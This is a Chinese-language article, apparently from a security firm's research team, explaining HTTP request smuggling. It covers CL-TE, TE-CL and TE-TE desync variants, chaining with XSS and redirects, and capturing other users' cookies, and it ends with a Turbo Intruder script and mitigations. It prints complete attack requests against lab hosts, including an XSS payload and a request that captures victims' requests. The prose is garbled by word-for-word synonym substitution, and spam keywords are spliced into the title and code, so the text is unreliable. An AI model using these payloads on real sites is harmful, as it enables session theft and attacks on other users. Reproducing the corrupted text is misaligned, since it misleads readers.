白丝 捆绑 浅析HTTP数据罗致不同步抨击
作家:锦行科技-安全平台部 Ink23y白丝 捆绑
如今抨击妙技日益更仆难数,另企业防不堪防,因此企业不可再以原有的驻守想维去驻守。基于抨击者的视角,了解抨击者的抨击手法智商更好地作念好驻守。本次先容的是抨击者常用的一种抨击手法”HTTP央求私运”,它不错使抨击者大约绕过安全收尾,未经授权探听敏锐数据并平直危害其他应用次第用户。本文由锦行科技的安全酌量团队提供,旨在通过分解”HTTP央求私运”的抨击流程,匡助企业进一步了解抨击者的抨击想路,作念好支吾战术。
1.什么是HTTP央求私运
在复杂的网罗环境下,不同的办事器以不同的方式罢了RFC尺度,诈欺前后端办事器对数据包的领域了解不一致的情况下,向一个央求数据包中插入下一个央求数据包的一部分,在前端办事器角度看来,它属于一个完满的央求, 而在后端办事器看来,它属于两次央求,前端央求的一部分被后端办事器讲明注解为下一个央求的启动。因此,它使抨击者不错绕过安全收尾,未经授权探听敏锐数据并平直危害其他应用次第用户。
2.产生的原因
在HTTP1.1后,增加了一个特地的央求头Connection: Keep-Alive,建树tcp继续通谈,进行一次tcp合手手,就能传送多个央求。但这样式只然则央求一次反应一次。为了提高数据传输的效果,减少拦截。其后就有了HTTP Pipelining(管线化)字段,它是将多个http央求批量提交,而无谓等收到反应再提交的异步时刻。如下图即是使用Pipelining和非Pipelining
这意味着前端与后端必须短时刻内对每个数据包的领域大小达成一致,不然,抨击者就不错构造发送一个特地的数据包,在前端看来它是一个央求,但在后端却被讲明注解为了两个不同的HTTP央求。这就导致抨击者不错鄙人一个用户发送的正当数据包前坏心添加本质。如图,私运的本质(”前缀”),以橙色卓越知道:
假定前端探讨的是本质长度头部(Content-Length)值行为数据包收尾的领域,后端优先探讨的是Transfer-Encoding头部。那么从后端角度看,如下图蓝色部份字体属于一个数据包,而红色部份字体属于下一个数据包的启动部份。这么就得胜从前端’私运’了一个数据包。
3.抨击类别
3.1.CL不为0的GET央求
假定前端代理办事器允许GET央求佩戴央求体,此后端办事器不允许GET央求佩戴央求体,它会平直忽略掉GET央求中的 Content-Length头,不进行经管。这就有可能导致央求私运。
比如发送底下央求
GET / HTTP/1.1
Host:example.com
Content-Length:44
GET /socket HTTP/1.1
Host: example.com
前端办事器通过读取Content-Length,阐明这是个完满的央求,然后转发到后端办事器,此后端办事器因为不合Content-Length进行判断,由于Pipeline的存在,它以为这是两个央求,永别为
第一个
GET / HTTP/1.1
Host: example.com
第二个
GET /socket HTTP/1.1
Host: example.com
则很是于私运了央求
3.2 CL-CL
在RFC7230范例中, 章程当办事器收到的央求中包含两个 Content-Length,而且两者的值不同期,需要复返400不实。但不免会有办事器不严格恪守该范例。假定前端和后端办事器王人收到该类央求,且不报错,其中前端办事器按照第一个Content-Length的值对央求进活动数据包定界,此后端办事器则按照第二个Content-Length的值进行经管。
这时抨击者不错坏心构造一个特地的央求,
POST / HTTP/1.1
Host: example.com
Content-Length: 6
Content-Length: 5
123
A
CDN办事器赢得到的数据包的长度6,将上述悉数数据包转发给后端的办事器,此后端办事器赢得到的数据包长度为5。当读取完前5个字符后,后端办事器以为该央求照旧读取罢了,然后发送出去。而此时的缓冲区去还剩余一个字母 A,关于后端办事器来说,这个 A是下一个央求的一部分,但是还莫得传输罢了。此时碰劲有一个其他的平日用户对办事器进行了央求,则该A字母会免强到下一个平日用户央求的前边,抨击在此伸开。
3.3 CL-TE
所谓CL-TE,顾名想义即是收到包含Content-Length和Transfer-Encoding这两个央求头d的央求时,前端代理办事器按照Content-Length这一央求头定界,此后端办事器则以Transfer-Encoding央求头为尺度。
构造数据包
POST / HTTP/1.1
Host: example.com
Content-Length: 16
Transfer-Encoding: chunked
0
chunkedcode
前端办事器经管Content-Length头并详情央求主体长度为16个字节,直到chunkedcode
收尾。此央求将转发到后端办事器。
后端办事器经管Transfer-Encoding标头,因此将音书体视为使用分块编码。它经管第一个块,它被称为零长度,因此被视为隔断央求。缓冲区内还剩下chunkedcode,由于存在pipeline时刻,后端办事器将这些字节视为队伍中下一个央求的启动。
在作念之前难忘要把 BurpSuite 的自动更新 Content-Length 功能取消了。
小心:需要发送两次央求
3.4 TE-CL
这种情况则属于前端办事器经管Transfer-Encoding央求头,此后端办事器经管Content-Length央求头。
构造数据包
Host:example.com
Content-Length: 3
Transfer-Encoding: chunked
chunkedcode
0
小心0背面加两个\r\n
前端办事器经管Transfer-Encoding央求头,因此将音书体视为使用分块编码,经管第一块时,有11个字节,直到chunkedcodede的临了一个字节。启动经管第二个块,第二块是0个字节,视为隔断央求。此时把央求转发到后端。此后端则在11处完成了对第一个数据包的读取,chunkedcode\r\n0为下一个数据包的启动部份
在作念之前难忘要把 BurpSuite 的自动更新 Content-Length 功能取消了。
小心:需要发送两次央求
3.5 TE-TE
前端办事器经管第一个Transfer-Encoding央求头,后端办事器经管第二个Transfer-Encoding央求头.
构造数据包
Host:example.com
Content-length: 3
Transfer-Encoding: chunked
Transfer-encoding: error
chunkedcode
0
这里是用了两个Transfer-Encoding 字段,况兼第二个 TE 字段值为不实值,这里 前端办事器聘用对第一个 Transfer-Encoding进行经管,悉数央求平日,依样葫芦转发给后端办事器,此后端办事器则以第二个Transfer-Encoding 字段进行优先经管,而第二个Transfer-Encoding 字段非尺度值,证据RPC范例,则会取Content-Length字段进行经管,这么这个央求就会被拆分为两个央求。
在作念之前难忘要把 BurpSuite 的自动更新 Content-Length 功能取消了。
小心:需要发送两次央求
4.抨击扩张
4.1.smuggling+reflected xss
单纯的UA处的xss并莫得什么危害,但不错调治央求私运抨击进行诈欺来进步危害
咱们不错构造以下数据包,惟有发送一次
POST / HTTP/1.1
Host: acc01f221f0e5490815e020800d200d8.web-security-academy.net
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: session=k3jXNrcQioQOdiLYyRXPJVf5gHZykEl8
Content-Type: application/x-www-form-urlencoded
Content-Length: 150
Transfer-Encoding: chunked
0
GET /post?postId=3 HTTP/1.1
User-Agent: “><script>alert(1)</script>
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
x=1
会在该网站的轻易页面触发xss,因为在http序列中,私运的央求会插到用户对网站的央求前边
4.2 direct+smuggling
该场景基于url跳转,把用户重定向到一个固定网页,lab为咱们提供个跳转api,/post/next?postId=3路由跳转到的是/post?postId=4。
此时咱们不错诈欺私运抨击并合营重定向进行垂钓.
发送以下数据包一次:
POST / HTTP/1.1
Host: ac501fd21fceba4f80de460400140045.web-security-academy.net
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.122 Safari/537.36
Sec-Fetch-Dest: document
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=Rmtn44vZ2BeGqD1ToPbAYrcDS0UiIKwQ
Content-Type: application/x-www-form-urlencoded
Content-Length: 178
Transfer-Encoding: chunked
0
GET /post/next?postId=3 HTTP/1.1
Host: ac501fd21fceba4f80de460400140045.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=1
然后探听原网站轻易页面,王人会被重定向到/post?postId=4
4.3窃取用户央求
诈欺私运抨击捕捉用户央求数据包,窃取cookie
咱们在发送驳倒处的api接口构造央求包如下
发送以下数据包
POST / HTTP/1.1
Host: ac671f031fa2e9ba80ffdc2d00690027.web-security-academy.net
Connection: close
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: session=7fnaaemuD32ZqUPyB6EGVA8vOL8wwz8p
Content-Type: application/x-www-form-urlencoded
Content-Length: 343
Transfer-Encoding: chunked
0
POST /post/comment HTTP/1.1
Host: ac671f031fa2e9ba80ffdc2d00690027.web-security-academy.net
Content-Length: 600
Content-Type: application/x-www-form-urlencoded
Cookie: session=7fnaaemuD32ZqUPyB6EGVA8vOL8wwz8p
csrf=aeITUnejzQ7XRUTUiEWl4X6ckwPt8TWc&postId=2&name=1&email=123@qq.com&website=https://www.baidu.com&comment=118
得胜把用户的央求拼接到私运央求的comment参数上,如下图
5.案例
该案例诈欺的是CL-TE的抨击方式。证据RFC,当Content-Length和Transfer-Encoding两个标头同期出当今团结央求包时,Transfer-Encoding永恒被优先经管。但是,如果Transfer-Encoding标头边幅不实,则前端办事器和后端办事器之间的对央求的讲明注解可能会有所不同。在该站点上发现的CLTE问题是,在央求包中Transfer-Encoding 和:之间增多一个空格,使该字段的边幅为非尺度值,此时前端办事器依据RPC范例,优先经管Content-Length,此后端办事器并没严格恪守RPC范例,以Transfer-Encoding为依据进行经管数据包。
坏心央求的讲明:
可见用户的平日央求被拼接到X字段,而X央求头非尺度央求头,故忽略,而该用户的cookie字段也被拼接到了该私运的央求上
在Burp Collaborator Client上能得胜窃取到用户的cookie
6.测试用具
在burpsuite上查找到央求包,右键lauch smuggle probe,随后在burpsuite的扫描闭幕上知道论说
进一步详情舛误
右键点击”smuggle attack(CL.TE)”
出现Turbo Intruder剧本
# if you edit this file, ensure you keep the line endings as CRLF or you’ll have a bad time
驯龙高手3在线观看def queueRequests(target, wordlists):
# to use Burp’s HTTP stack for upstream proxy rules etc, use engine=Engine.BURP
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
# This will prefix the victim’s request. Edit it to achieve the desired effect.
prefix = ”’GET /hopefully404 HTTP/1.1
X-Ignore: X”’ //私运一个uri为/hopefully404的央求包,下一个用户的央求会拼接到X-Ignore字段背面,因此如果存在私运舛误,则会复返一个情景码为404的数据包
# The request engine will auto-fix the content-length for us
attack = target.req + prefix
engine.queue(attack)
victim = target.req
for i in range(14):
engine.queue(victim)
time.sleep(0.05)
def handleResponse(req, interesting):
table.add(req)
点击”attack”进行爆破测试
看到存在404情景码的数据包,讲明存在http私运舛误
建造决议:
1、前端办事器对前段输入范例化
2、前端办事器使用HTTP2.0
3、后端办事器丢弃非平日央求白丝 捆绑